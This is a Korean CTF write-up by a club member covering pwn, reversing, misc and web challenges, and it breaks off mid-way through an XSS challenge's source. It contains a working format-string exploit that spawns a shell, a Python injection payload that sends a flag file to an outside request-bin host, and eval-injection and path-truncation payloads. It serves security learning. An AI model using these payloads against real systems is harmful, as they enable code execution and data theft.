이 사진 장난입니다...
CyKor 동아리에 신입부원으로 속해있는데, 대상으로 CTF를 진행했다.
두괄식 후기는 이렇다. 리버싱 좀 풀걸. 어려울 것 같아 막연한 두려움 때문에 ezelf 이후로는 보지도 않았는데 막상 풀어보니 생각보다 쉬웠다.
첫 번째 문제는 ezelf이다. 쉬운 문제인데 나는 매우 오래 걸렸다.
(내가 FSB에서 삽질을 많이 한다. 힙과 FSB를 더 공부해야겠다.)
걸려있는 보호기법은 NX말고는 없다. 64비트이기도 하다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
while ( 1 )
{
v4 = menu();
if ( v4 == 1 )
register();
if ( v4 == 2 )
login();
if ( v4 == 3 )
{
fsb();
goto LABEL_11;
}
if ( v4 == 4 )
break;
if ( v4 == 5 )
goto LABEL_11;
}
bof();
LABEL_11:
puts("bye~~");
return 0;
}
fsb가 눈에 들어온다. 확인해보자. (login은 rev문제에서 해결하였다.)
int fsb()
{
int result; // eax
char s[268]; // [rsp+0h] [rbp-110h] BYREF
int i; // [rsp+10Ch] [rbp-4h]
if ( !IS_LOGIN || IS_EXPLOIT )
return puts("Login first!");
result = (unsigned __int8)IS_EXPLOIT++ + 1;
for ( i = 0; i <= 6; ++i )
{
printf("format string: ");
memset(s, 0, 0x100uLL);
readBuf(s, 255LL);
result = printf(s);
}
return result;
}
함수를 한 번 실행하면 fsb를 6번 터트려 원하는 정보를 얻거나 넣을 수 있겠다.
익스플로잇 방법을 생각해보자.
1. libc_start_main + 243으로 libc_main leak
2. fsb의 SFP에 있는 main fsb의 leak해 8을 더하여 main ret addr leak
3. 무의미하게 'A' 넣기
4. 무의미하게 'A' 넣기
5. 무의미하게 'A' 넣기
6. onegadget을 main ret addr에 넣기
from pwn import *
p = remote('3.36.73.17', 12512)
#p = process('./ezelf')
gadget = [0xe3afe, 0xe3b01, 0xe3b04]
def fmt(prev , target):
if prev < target:
result = target - prev
return "%" + str(result)+"c"
elif prev == target:
return ""
else:
result = 0x10000 + target - prev
return "%" + str(result) + "c"
def fmt64(offset , target_addr , target_value , prev = 0):
payload = ""
for i in range(3):
payload += p64(target_addr + i * 2)
payload2 = ""
for i in range(3):
target = (target_value >> (i * 16)) & 0xffff
payload2 += fmt(prev , target) + "%" + str(offset + 8 + i) + "$hn"
prev = target
payload = payload2.ljust(0x40 , "a") + payload
return payload
userId = b"CyKor"
userPw = b"CYKOR{ez_x0r_ElF_rev3rSin9!_n3xT_S74g3_I5_pwN4b13!!_let5_90!G!O!}"
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'ID: ')
p.sendline(userId)
p.recvuntil(b'PW: ')
p.sendline(userPw)
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'format string: ')
p.send(b'%45$p')
libc_start_offset = int(p.recv(14), 16)
libc_base = libc_start_offset - 243 - 0x23f90
p.recv(1024)
# print(hex(libc_base))
p.send(b'%40$p')
main_sfp = int(p.recv(1024)[0:14], 16)
print(hex(main_sfp))
mainRet = main_sfp + 8
p.send(b'A')
p.recv(1024)
p.send(b'A')
p.recv(1024)
p.send(b'A')
p.recv(1024)
p.send(b'A')
p.recv(1024)
print(hex(libc_start_offset))
print(hex(libc_base + gadget[0]))
print(hex(libc_base + gadget[1]))
print(hex(libc_base + gadget[2]))
one_gadget = libc_base + gadget[1]
payload = fmt64(6, mainRet, one_gadget)
#pause()
p.send(payload)
p.interactive()
급하게 푸느라 코드가 좀 지저분했다 ㅎㅎ...
int login()
{
char v1[256]; // [rsp+0h] [rbp-200h] BYREF
char s[256]; // [rsp+100h] [rbp-100h] BYREF
memset(s, 0, sizeof(s));
memset(v1, 0, sizeof(v1));
printf("ID: ");
readBuf(s, 255LL);
if ( strcmp("CyKor", s) )
return printf("%s doesn't exist..!\n", s);
printf("PW: ");
readBuf(v1, 255LL);
if ( (unsigned int)keyCompare(v1) )
return printf("%s is wrong password!\n", v1);
++IS_LOGIN;
return printf("Hello %s!\n", s);
}
userid는 CyKor여야 하는 것이 보인다.
pw는 v1로 받아 keyCompare 함수에 돌린다.
__int64 __fastcall keyCompare(const char *a1)
{
int i; // [rsp+1Ch] [rbp-14h]
if ( strlen(a1) != 65 )
return 0xFFFFFFFFLL;
for ( i = 0; i < strlen(a1); ++i )
FLAG[i] = TABLE[i % 6] ^ a1[i];
if ( !memcmp(FLAG, &KEY, 0x41uLL) )
return 0LL;
memset(FLAG, 0, sizeof(FLAG));
return 0xFFFFFFFFLL;
}
비밀번호의 길이는 65바이트여야 한다.
이후 FLAG[i]를 TABLE[i%6] ^ a1[i]로 만든다.
그리고 KEY 배열의 값들과 65바이트만큼 비교한다.
최종적으로 FLAG = KEY여야 한다.
이 식을 되돌려보자.
flag는 key로 대체하였다.
KEY = [53, 50, 63, 55, 62, 31, 19, 17, 43, 0, 92, 22, 41, 46, 24, 62, 51, 22, 19, 29, 71, 10, 63, 13, 24, 82, 85, 39, 2, 87, 14, 63, 43,43 , 91, 80, 17, 88, 43, 49, 89, 59, 6, 28, 58, 76, 14, 85, 69, 74, 85, 39, 0, 1, 2, 94, 43, 65, 92, 69, 49, 74, 59, 89, 17]
table = "vktxld"
FLAG = ""
for i in range(0, 65):
FLAG += chr(KEY[i] ^ ord(table[i%6]))
print(FLAG)
쉬운 문제인데 어렵게 접근을 했었다. 바보
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rax
size_t v5; // rax
char v6[8]; // [rsp+20h] [rbp-20h] BYREF
void *Buf1; // [rsp+28h] [rbp-18h]
char *v8; // [rsp+30h] [rbp-10h]
char *Str; // [rsp+38h] [rbp-8h]
sub_401CA0(argc, argv, envp);
Str = (char *)malloc(0x100ui64);
v8 = (char *)malloc(0x100ui64);
Buf1 = malloc(0x100ui64);
scanf("%s", Str);
if ( strlen(Str) <= 0x30 )
{
v4 = strlen(Str);
v8 = (char *)sub_401679(Str, v4, v6);
v5 = strlen(v8);
sub_4019D4(v8, v5, Buf1);
if ( !memcmp(Buf1, &unk_404040, 0x40ui64) )
puts("correct!!\ninput is your flag!!");
else
puts("wrong!");
getch();
result = 0;
}
else
{
puts("wrong length");
getch();
result = 0;
}
return result;
}
str의 길이는 48 이하여야 한다.
Str을 sub_401679 함수에 돌려 v8을 얻는다.
v8을 sub_4019D4 함수에 돌려 Buf1을 얻고 unk_404040과 비교를 한다.
그 크기는 64바이트여야 한다.
익스플로잇과 함수 분석을 같이 해보자.
main 기준으로 마지막으로 실행하는 함수는 4019D4이다.
__int64 __fastcall sub_4019D4(__int64 a1, unsigned __int64 a2, __int64 a3)
{
int v3; // eax
unsigned int v4; // ebx
__int64 result; // rax
int v6[16]; // [rsp+20h] [rbp-50h] BYREF
unsigned int v7; // [rsp+60h] [rbp-10h]
int j; // [rsp+64h] [rbp-Ch]
unsigned int i; // [rsp+68h] [rbp-8h]
unsigned int v10; // [rsp+6Ch] [rbp-4h]
memset(v6, 0, sizeof(v6));
v7 = a2 >> 2;
for ( i = 0; v7 > i; i += 2 )
{
v3 = sub_40197D(a1, i);
v6[i] = v3;
v4 = i + 1;
v6[v4] = sub_40197D(a1, i + 1);
sub_401550((unsigned int)v6[i], (unsigned int)v6[i + 1]);
}
for ( i = 0; ; ++i )
{
result = i;
if ( v7 <= i )
break;
v10 = dword_408060[i];
for ( j = 0; j <= 3; ++j )
{
*(_BYTE *)(a3 + (int)(4 * i + j)) = v10;
v10 >>= 8;
}
}
return result;
}
복잡해보이지만 쉽다. 먼저 가장 밑의 반복문을 보자.
i가 v7이 되면 break를 걸어준다.
dword_408060[i]를 4바이트로 가져와 하위 1바이트씩 a3에 넣어준다.
그 결과는 unk_404040과 같아야 하므로 dword_408060 원소들을 구할 수 있다.
unk_40 = ["A9","8D","15","DD","CE","77","60","F3","CB","00","C7","EF","61","AD","69","8C","E2","29","4D","2F","49","66","A6","A0","1A","0D","3A","DB","C9","78","31","AB","5C","6B","80","CF","EC","3D","05","1B","BC","B2","9D","97","A6","80","53","70","2C","CE","A4","61","5F","5C","99","CC","EB","F3","10","F4","1A","0B","8C","59"]
hex_unk_40 = list()
dwrod_408060 = list()
# dwrod_408060 = [0xdd158da9, 0xf36077ce, 0xefc700cb, 0x8c69ad61, 0x2f4d29e2, 0xa0a66649, 0xdb3a0d1a, 0xab3178c9, 0xcf806b5c, 0x1b053dec, 0x979db2bc, 0x705380a6, 0x61a4ce2c, 0xcc995c5f, 0xf410f3eb, 0x598c0b1a]
for i in unk_40:
hex_unk_40.append(hex(int(i, 16)))
for i in range(0, 16):
make_d = ""
for j in range(0, 4):
make_d += hex_unk_40[4*i + (3-j)][2:].rjust(2, '0')
dwrod_408060.append(hex(int(make_d, 16)))
print(hex(int(make_d, 16)), end=', ')
이후 위의 반복문을 확인해보면 sub_401550에서 dword_408060을 만든다.
_DWORD *__fastcall sub_401550(unsigned int a1, unsigned int a2)
{
int v2; // eax
int v3; // eax
__int64 v4; // rdx
_DWORD *result; // rax
int v6; // [rsp+10h] [rbp-10h]
int v7; // [rsp+14h] [rbp-Ch]
v7 = 0;
v6 = 32;
while ( v6 > 0 )
{
--v6;
a2 -= (a1 + v7) ^ ((unsigned __int8)byte_404022 + 16 * a1) ^ ((a1 >> 5) + (unsigned __int8)byte_404023);
a1 -= (a2 + v7) ^ ((unsigned __int8)byte_404020 + 16 * a2) ^ ((a2 >> 5) + (unsigned __int8)byte_404021);
v7 += 1059868317;
}
v2 = dword_408040++;
dword_408060[v2] = a1;
v3 = dword_408040++;
v4 = v3;
result = dword_408060;
dword_408060[v4] = a2;
return result;
}
인자로 주어진 a1과 a2를 이용하여 dword_408060에 값을 넣는다.
dword_408040은 0부터 시작하는 값이라고 게싱을 하였다.
최종 dword_408060을 알고 있으므로 a1과 a2는 구할 수 있다.
#include <stdio.h>
unsigned int dword_408060[] = {0xdd158da9, 0xf36077ce, 0xefc700cb, 0x8c69ad61, 0x2f4d29e2, 0xa0a66649, 0xdb3a0d1a, 0xab3178c9, 0xcf806b5c, 0x1b053dec, 0x979db2bc, 0x705380a6, 0x61a4ce2c, 0xcc995c5f, 0xf410f3eb, 0x598c0b1a};
int v7_arr[] = {0, 1059868317, 2119736634, -1115362345, -55494028, 1004374289, 2064242606, -1170856373, -110988056, 948880261, 2008748578, -1226350401, -166482084, 893386233, 1953254550, -1281844429, -221976112, 837892205, 1897760522, -1337338457, -277470140, 782398177, 1842266494, -1392832485, -332964168, 726904149, 1786772466, -1448326513, -388458196, 671410121, 1731278438, -1503820541};
unsigned int before_dword_408060[16];
unsigned char v8[] = {229, 7, 136, 35, 132, 24, 135, 39, 52, 238, 26, 227, 223, 174, 160, 165, 46, 208, 38, 179, 76, 202, 94, 216, 167, 119, 178, 252, 27, 98, 215, 12, 249, 47, 16, 5, 230, 79, 48, 250, 122, 164, 126, 245, 107, 73, 121, 22, 82, 20, 49, 125, 8, 68, 155, 22, 223, 112, 41, 193, 125, 111, 143, 162};
/* v8_len = 64 */
unsigned char byte_404020 = 0xde;
unsigned char byte_404021 = 0xad;
unsigned char byte_404022 = 0xbe;
unsigned char byte_404023 = 0xef;
void setBD4(int k){
int i = 32;
unsigned int final_a1 = dword_408060[2*k];
unsigned int final_a2 = dword_408060[2*k+1];
int a1, a2;
while (i>0){
i--;
int v7 = v7_arr[i];
a1 = final_a1 + ((final_a2 + v7) ^ ((unsigned char)byte_404020 + 16 * final_a2) ^ ((final_a2 >> 5) + (unsigned char)byte_404021));
final_a1 = a1;
a2 = final_a2 + ((final_a1 + v7) ^ ((unsigned char)byte_404022 + 16 * final_a1) ^ ((final_a1 >> 5) + (unsigned char)byte_404023));
final_a2 = a2;
}
before_dword_408060[2*k] = a1;
before_dword_408060[2*k+1] = a2;
}
int main(void){
setBD4(0);
setBD4(1);
setBD4(2);
setBD4(3);
setBD4(4);
setBD4(5);
setBD4(6);
setBD4(7);
for(int i=0; i<16; i++){
printf("\'%p\', ", before_dword_408060[i]);
}
return 0;
}
여기까지 하면 다 했다.
__int64 __fastcall sub_40197D(__int64 a1, int a2)
{
int i; // [rsp+8h] [rbp-8h]
unsigned int v4; // [rsp+Ch] [rbp-4h]
v4 = 0;
for ( i = 3; i >= 0; --i )
v4 = *(unsigned __int8 *)(a1 + 4 * a2 + i) + (v4 << 8);
return v4;
}
1바이트씩 왼쪽으로 쉬프트해주면서 값을 만든다.
_BYTE *__fastcall sub_401679(_BYTE *a1, __int64 a2, _QWORD *a3)
{
_BYTE *v4; // rax
_BYTE *v5; // rax
_BYTE *v6; // rax
_BYTE *v7; // rax
_BYTE *v8; // rax
_BYTE *v9; // rax
_BYTE *v10; // rax
_BYTE *v11; // [rsp+20h] [rbp-30h]
_BYTE *v12; // [rsp+28h] [rbp-28h]
int v13; // [rsp+3Ch] [rbp-14h]
_BYTE *v14; // [rsp+40h] [rbp-10h]
_BYTE *v15; // [rsp+48h] [rbp-8h]
_BYTE *v16; // [rsp+48h] [rbp-8h]
_BYTE *v17; // [rsp+48h] [rbp-8h]
v12 = malloc((4 * a2 / 3ui64 + 4) / 0x48 + 4 * a2 / 3ui64 + 4 + 1);
if ( !v12 )
return 0i64;
v11 = &a1[a2];
v14 = a1;
v15 = v12;
v13 = 0;
while ( v11 - v14 > 2 )
{
*v15 = a0123456789qwer[*v14 >> 2];
v15[1] = a0123456789qwer[(16 * *v14) & 0x30 | (v14[1] >> 4)];
v15[2] = a0123456789qwer[(4 * v14[1]) & 0x3C | (v14[2] >> 6)];
v4 = v15 + 3;
v15 += 4;
*v4 = a0123456789qwer[v14[2] & 0x3F];
v14 += 3;
v13 += 4;
if ( v13 > 71 )
{
v5 = v15++;
*v5 = 10;
v13 = 0;
}
}
if ( v11 != v14 )
{
v6 = v15;
v16 = v15 + 1;
*v6 = a0123456789qwer[*v14 >> 2];
if ( v11 - v14 == 1 )
{
*v16 = a0123456789qwer[(16 * *v14) & 0x30];
v7 = v16 + 1;
v17 = v16 + 2;
*v7 = 61;
}
else
{
*v16 = a0123456789qwer[(16 * *v14) & 0x30 | (v14[1] >> 4)];
v8 = v16 + 1;
v17 = v16 + 2;
*v8 = a0123456789qwer[(4 * v14[1]) & 0x3C];
}
v9 = v17;
v15 = v17 + 1;
*v9 = 61;
v13 += 4;
}
if ( v13 )
{
v10 = v15++;
*v10 = 10;
}
*v15 = 0;
if ( a3 )
*a3 = v15 - v12;
return v12;
}
v12의 크기는 64바이트가 나와야 하고, 우리의 입력 크기는 48바이트 이하여야 한다.
따라서 45, 46, 47, 48바이트 중으로 만들어져야 한다.
우리의 입력값은 v14에서 주소를 받아가는데, 브루트포싱을 통해 값을 찾으면 된다.
enc = [85, 106, 119, 87, 75, 106, 57, 120, 82, 104, 86, 43, 76, 103, 99, 43, 76, 103, 118, 77, 90, 70, 82, 102, 69, 54, 103, 67, 71, 106, 56, 102, 71, 104, 112, 112, 69, 103, 99, 100, 72, 119, 118, 61, 69, 70, 119, 101, 69, 70, 121, 122, 70, 104, 86, 102, 74, 51, 73, 67, 89, 77, 43, 118]
flag = ''
len_flag = None
key = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasd+/=fghjklzxcvbnm'
# here is len_flag: 48
for split in range(0,16):
for i in range(128):
for j in range(128):
for k in range(128):
a = enc[4*split] == ord(key[i>>2])
b = enc[4*split+1] == ord(key[((16 * i)&48)|(j>>4)])
c = enc[4*split+2] == ord(key[((4 * j)&60)|(k>>6)])
d = enc[4*split+3] == ord(key[k&0x3f])
if a and b and c and d:
flag += chr(i) + chr(j) + chr(k)
print(flag)
주의할 점은 시간이 매우 오래 걸린다.
ezelf를 제외하고는 제일 쉬운 문제가 아닐까 싶다.
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-148h]
char v5[104]; // [esp+DCh] [ebp-6Ch] BYREF
__CheckForDebuggerJustMyCode(&unk_41C016);
j_memset(v5, 0, 0x64u);
sub_4110D7("input:", v4);
sub_411037("%s", (char)v5);
if ( sub_411294(v5) )
{
puts("wrong!!!");
}
else
{
puts("congratulation!!");
sub_4110D7("flag is CyKor{%s}", (char)v5);
}
j__getch();
return 0;
}
우리가 입력한 값에 대하여 sub_411294 -> 411C70을 돌린다.
BOOL __cdecl sub_411C70(int a1)
{
int i; // [esp+D0h] [ebp-48h]
char v3[20]; // [esp+DCh] [ebp-3Ch] BYREF
char v4[40]; // [esp+F0h] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_41C016);
_gmpz_init(v4);
_gmpz_init(v3);
_gmpz_set_str(v3, "882420367462070831928051887662180086102387", 10);
for ( i = 0; i < sub_411253(a1); ++i )
{
if ( (int)*(unsigned __int8 *)(i + a1) >> 5 != 3 )
return 1;
_gmpz_mul_ui(v4, v4, 32);
_gmpz_add_ui(v4, v4, *(_BYTE *)(i + a1) & 0x1F);
}
return _gmpz_cmp(v4, v3) != 0;
}
gmp라이브러리를 사용하는 것 가탇.
v3은 10진수로 882420367462070831928051887662180086102387이다.
byte(a1+i) >> 5 == 3 이어야 한다.
이는 0b011xxxxx의 꼴을 가지고 있어야 한다.
어차피 입력되는 값은 ASCII 범위 내일 것이다.
v4 = v4 * 32, v4 = v4 + (a1+i)&0x1F를 하게 되는데, 위에서 나온 0bxxxxx만 더한다는 소리이다. 즉 어떤 수를 32로 나누었을 때의 나머지가 된다.
이를 이용하여 문제를 해결할 수 있다.
answer = 882420367462070831928051887662180086102387
imsi_answer = int(answer)
flag = ''
# all flags bytes start with 0b011_____ it can be 96 ~ 127 (include both)
while True:
if(imsi_answer ==0): break
flag_byte = imsi_answer % 32
mok = imsi_answer // 32
flag+=chr(96+flag_byte)
imsi_answer = int(imsi_answer) - flag_byte
imsi_answer = imsi_answer >> 5
print(imsi_answer)
print(flag[::-1])
misc 문제이다.
cat이 뒤집어졌어요! !요어졌어집뒤 이tac
오잉? 왜 똑같지? ?지같똑 왜 ?잉오
음 음
사실 의심도 안하고 tac flag를 쳤는데 풀렸다.
ls /usr/bin을 통해 실행할 수 있는 명령을 봐도 좋을 것 같다. (물론 해보면 tac가 존재한다 ㅎㅎ)
where is my cat!
READ the flag without cat and more and less and head and tail and .....
tac_ym_si_erehW 를 먼저 푸세요!
wow 파일을 읽을 수 있는 명령이 하나 없었다.
하지만 위에서 한 ls /usr/bin을 통해 base64는 있음을 확인했다.
Flag : CyKor{if0und_my_CuTe_Cat!!!}
pk파일이란다. 압축파일을 의미하는 것 같다.
옛날에 포렌식을 풀 때 누가 나한테 그랬다. "우선 zip으로 바꿔봐"
알집에서 알아서 복구모드로 복구를 해주었다고 한다. 오
근데 1000.zip을 해제하면 999.zip이 나온다. 이렇게 1000번 압축해제를 할 수는 없다.
근데 맥에서 여니 1000.zip에서 재귀적으로 계속 압축을 해제해주었다. (맥 짱)
최종적으로 ppsx파일이 나왔었다.
음. 검색을 해보니 ppt로 확장자를 바꾸면 수정을 할 수 있단다. FAKE가 많았는데 그냥 CyKor 문자열을 찾았다. (Ctrl+F) 유후
This is my cute kitty's picutre isn't she lovely??
512 x 324 image file
010 editor will help you!!
512 x 324가 없었다면 난 풀기 힘들었을 것이다.
010에디터를 설치하여 사진 크기를 512 * 324로 설정해주면 풀린다.
(풀이 생략)
사실 되게 쉬운 문제였다. (센스 ??)
import discord, asyncio, os
from discord.ext import commands
token = open("token.txt", 'r').readline()
intents = discord.Intents.default()
intents.members = True
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents, help_command=None)
@bot.event
async def on_ready():
print(f"Logged in as {bot.user} (ID: {bot.user.id})")
await bot.change_presence(
status=discord.Status.online,
activity=discord.Game("!dm 을 입력하여 대화를 시작하세요.")
)
@bot.event
async def on_message(message):
if message.author.bot:
return None
await bot.process_commands(message)
async def load_extensions():
for filename in os.listdir("./Cogs"):
if filename.endswith(".py"):
try:
await bot.load_extension(f"Cogs.{filename[:-3]}")
print(f"Cogs.{filename[:-3]} is loaded")
except:
print(f"Unable to load Cogs.{filename[:-3]}")
async def main():
async with bot:
await load_extensions()
await bot.start(token)
asyncio.run(main())
사실 디스코드 라이브러리에 익숙하진 않다. await와 async의 파티라..
다시 돌아와서 main을 보면 안내메시지를 출력하게 한다. 또 Cogs에 있는 py 파일을 읽어들인다.
# -*- coding: utf-8 -*-
from discord.ext import commands
class CreateDM(commands.Cog):
def __init__(self, app):
self.app = app
@commands.command(name="dm")
async def createDM(self, ctx):
if ctx.author.dm_channel:
await ctx.author.dm_channel.send("이미 DM 채널이 있어요!")
elif ctx.author.dm_channel is None:
channel = await ctx.author.create_dm()
await channel.send("`!make` 를 입력해서 원하는 명령어를 만들어보세요!")
return None
async def setup(app):
await app.add_cog(CreateDM(app))
CyBot을 부르면 명령어를 만들도록 한다.
# -*- coding: utf-8 -*-
import asyncio
import re
import hashlib
import discord
from discord.ext import commands
def isValidMessage(message):
pattern = re.compile("[^a-zA-Zㄱ-ㅣ가-힣\s]")
return re.search(pattern, message) == None
def isValidCommandName(commandName):
pattern = re.compile("\s")
return re.search(pattern, commandName) == None and len(commandName) < 200
class make(commands.Cog):
def __init__(self, app: commands.Bot):
self.app = app
@commands.command(name="make")
async def makeCommand(self, ctx: commands.Context):
if type(ctx.channel) != discord.channel.DMChannel:
return None
await ctx.send("명령어의 이름을 입력해주세요. (제한시간 10초)")
def check(m: commands.Context):
return m.author == ctx.author and m.channel == ctx.channel
try:
commandName = await self.app.wait_for("message", check=check, timeout=10.0)
commandName = commandName.content
except asyncio.TimeoutError:
await ctx.send(f"{ctx.author.mention} 10초가 지났습니다.")
return None
if not isValidCommandName(commandName):
await ctx.send("잘못된 명령어 이름입니다.")
return None
await ctx.send("반응을 입력해주세요. (제한시간 10초)")
try:
message = await self.app.wait_for("message", check=check, timeout=10.0)
message = message.content
except asyncio.TimeoutError:
await ctx.send(f"{ctx.author.mention} 10초가 지났습니다.")
return None
if not isValidMessage(message):
await ctx.send("잘못된 메세지입니다.")
return None
with open("./Cogs/templates.txt", 'r') as f:
template = f.read()
hash = hashlib.sha256(commandName.encode()).hexdigest()[:16]
with open(f"./UserCommands/{ctx.author.id}_{hash}.py", 'w+', encoding="UTF-8") as f:
f.write(template.format(
commandName=commandName,
message=message,
userId=str(ctx.author.id),
hash=hash
))
try:
await self.app.unload_extension(f"UserCommands.{ctx.author.id}_{hash}")
await self.app.load_extension(f"UserCommands.{ctx.author.id}_{hash}")
except:
await self.app.load_extension(f"UserCommands.{ctx.author.id}_{hash}")
await ctx.send(f"`!{ctx.author.id}_{commandName}` 를 입력해 보세요.")
return None
async def setup(app: commands.Bot):
await app.add_cog(make(app))
사실 이 부분이 핵심이라 봐도 된다.f를 format으로 위와 같은 내용들을 작성한다. 여기서 말하는 f는 뭘까? 아래를 보도록 하자.
# -*- coding: utf-8 -*-
from discord.ext import commands
class user_{userId}_{hash}(commands.Cog):
def __init__(self, app):
self.app = app
@commands.command(name="{userId}_{commandName}")
async def {commandName}(self, ctx):
if ctx.author.id != {userId}:
return None
await ctx.send("""
{message}
""")
return None
async def setup(app):
await app.add_cog(user_{userId}_{hash}(app))
이렇게 우리는 commandName, message, userId(fixed), hash(fixed)에 관하여 우리가 원하는 값을 집어넣을 수 있다. commandName 부분에는 공백만 제외한다면 모든 문자가 들어갈 수 있다.
def what(a, b, c=print('hi')):
이런 코드가 있다면, what 함수를 호출하며 c의 값은 print 함수의 return값이 될 것이다. 그렇기에 print('hi')가 실행되게 된다. 때문에 나는 {commandName}함수를 실행하게 되면 자동으로 flag를 열어서 내 웹서버로 보내도록 짜보았다. 그렇다면 message에는 아무 값이나 입력을 해도 상관이 없다.
하지만 라이브러리는 discord.ext.commands만 import가 되어있다.
그렇기에 __import__를 사용해야 한다.
c(self,ctx,imsi=__import__('urllib.request',fromlist=['urlopen']).urlopen('http://fzpssso.request.dreamhack.games/?'+open('flag').read())):#
이렇게 되면 imsi라는 변수에 값 세팅을 하게 되며 dreamhack request를 받는 서버로 flag의 값이 전송된다. 이렇게 해주면 ...! 이렇게 플래그가 보인답니다 ^~^
클릭을 계속 해야하는데 버튼이 움직여서 화난다.
from bs4 import BeautifulSoup
import requests
url = "http://3.36.73.17:30003/index.php"
cookie = {"PHPSESSID" : "t04cp4duoo2ofb60tsbv49tci3"}
data = {
"click" : "",
}
resp = requests.post(url = url, data = data, cookies=cookie)
key = None
# soup = BeautifulSoup(resp.content, 'html.parser')
# key = soup.select('input')[0]['value']
# print(type(key))
soup = None
for i in range(0, 5001):
if(i==0):
soup = BeautifulSoup(resp.content, 'html.parser')
key = soup.select('input')[0]['value']
else:
data = {
"click" : key
}
resp = requests.post(url,data,cookies=cookie)
soup = BeautifulSoup(resp.content, 'html.parser')
key = soup.select('input')[0]['value']
print(soup.select('h1')[0])
print(resp.text)
그냥 파이썬 코딩 문제이므로 풀이는 쓰지 않겠다.
사실 반복문 에러날 수도 있긴 한데, phpsessid 때문에 브라우저로 접속하면 문제는 풀려있다.
<?php
error_reporting(0);
include 'flag.php'; # <- flag
if(isset($_GET['img'])){
$ext = explode(".", $_GET['img']);
$ext = $ext[sizeof($ext)-1];
if(!preg_match("/png|jpg/i", $ext)) exit("no hack");
if(isset($_COOKIE['length'])){
$length = $_COOKIE['length'];
}
else{
$length = strlen($_GET['img']);
}
$image = substr($_GET['img'], 0, $length);
$view = fopen("./image/".$image, 'rb');
header("Content-Type: image/png");
fpassthru($view);
}
else {
echo "Image Viewer";
}
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
}
?>
우선 flag.php를 읽어야 한다. preg_match를 통과하기 위해 파일 이름은 ../flag.php.png로 가기는 해야한다. 다행히도 밑에서 length Cookie가 설정되어 있으면 substr을 실행한다.
즉 length 값이 11이라면 "../flag.php.png"를 0부터 11칸을 자르기 때문에 문제는 해결될 것이다.
번외로 Cookie 설정할 때는 최신버전 크롬부터는 LaX로 설정해야 한다.
삽질 좀 했다. 허허 ( 옛날엔 안이랬던 것 같은딩 )
https://goodteacher.tistory.com/496
뭘 해야 할 지 모르겠어서 정말 많이 당황했다 .
from flask import *
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
def filter(data):
allowed = []
whitelist = "0123456789"
for e in data:
if e in whitelist:
allowed.append(e)
return ''.join(allowed)
@app.route("/")
def index():
return render_template("index.html",result="")
@app.route("/calculate", methods=["GET", "POST"])
def calculate():
if request.method == "POST":
num1 = filter(request.form['num1'])
num2 = filter(request.form['num2'])
operator = request.form['operator']
if "Plus" in operator:
operator = "+"
if "Minus" in operator:
operator = "-"
if "Multiplication" in operator:
operator = "*"
if "Division" in operator:
operator = "/"
expression = []
expression.append(num1)
expression.append(operator)
expression.append(num2)
try:
result = eval(''.join(expression))
except:
result = 'Invaild expression'
return render_template("index.html", result=result)
app.run(host="0.0.0.0", port=30006)
중요한 게 있다. 바로 operator에 대한 검증을 거치지도 않고, eval을 돌린다.
plus의 value에 os.listdir()을 넣으면 아래와 같이 출력된다.
value="open('flag.txt').read()"으로 설정해보자. 유후
'use strict';
const express = require('express')
const bodyParser = require('body-parser')
const PORT = 31001;
const HOST = '0.0.0.0';
var urlencodedParser = bodyParser.urlencoded({extended:false})
let admin = {}
let users = {}
const app = express()
app.use(express.json())
app.get('/', (req, res) => {
res.sendFile( __dirname + "/index.html" );
});
app.get('/apply', (req, res) => {
res.sendFile( __dirname + "/apply.html" );
});
app.post('/result',urlencodedParser, (req, res) => {
var user = JSON.parse(JSON.stringify(req.body));
if(users[user.id] == undefined)
users[user.id] = {};
users[user.id][user.pw] = [user.secret_code];
if(admin["secret_code"] != undefined && admin["secret_code"] == user.secret_code){
res.sendFile( __dirname + "/win.html" );
setTimeout(function() {
process.exit();
}, 1000);
}
else {
res.sendFile( __dirname + "/lose.html" );
}
});
app.get('/source', (req, res) => {
res.sendFile( __dirname + "/app.js" );
});
app.listen(PORT, HOST);
사실 이건 동아리 방학 세미나를 잘 들었으면 바로 느낌 온다. 바로 Prototype Pollution...
{}.__proto__.secret_code = asdf가 되면 무슨 일이 발생할까?
딕셔너리의 모든 secret_code 값은 asdf로 설정이 된다. 이는 admin["secret_code"]도 값을 덮어쓸 수 있게 된다.
이름부터 어질어질한 문제였다.
from flask import Flask, request, render_template_string, redirect
from selenium import webdriver
import sqlite3
import base64
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "no_such_flag"
cookie = {"name": "flag", "value": FLAG, "domain":"3.36.73.17"}
def admin_bot(url):
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get('http://3.36.73.17:30002')
driver.add_cookie(cookie)
try:
driver.get(url)
except:
pass
except Exception as e:
driver.quit()
print(e)
return False
driver.quit()
return True
def execute(query, placeholder):
con = sqlite3.connect('./main.db')
cur = con.cursor()
cur.execute(query, placeholder)
con.commit()
return cur.fetchall()
@app.route("/")
def index():
return render_template_string('''
<h1>ohmygirl fanclub site</h1>
<hr>
<iframe width="560" height="315" src="https://www.youtube.com/embed/nfMUtFhwhDs"></iframe>
<a href="/comment"><h2>>> Comment</h2></a>
<a href="/send_admin"><h2>>> Send Admin</h2></a>
''')
@app.route("/comment", methods=["GET", "POST"])
def comment():
if request.method == "GET":
return render_template_string('''
<h1>Leave the comment!<h1>
<hr>
<form method="POST">
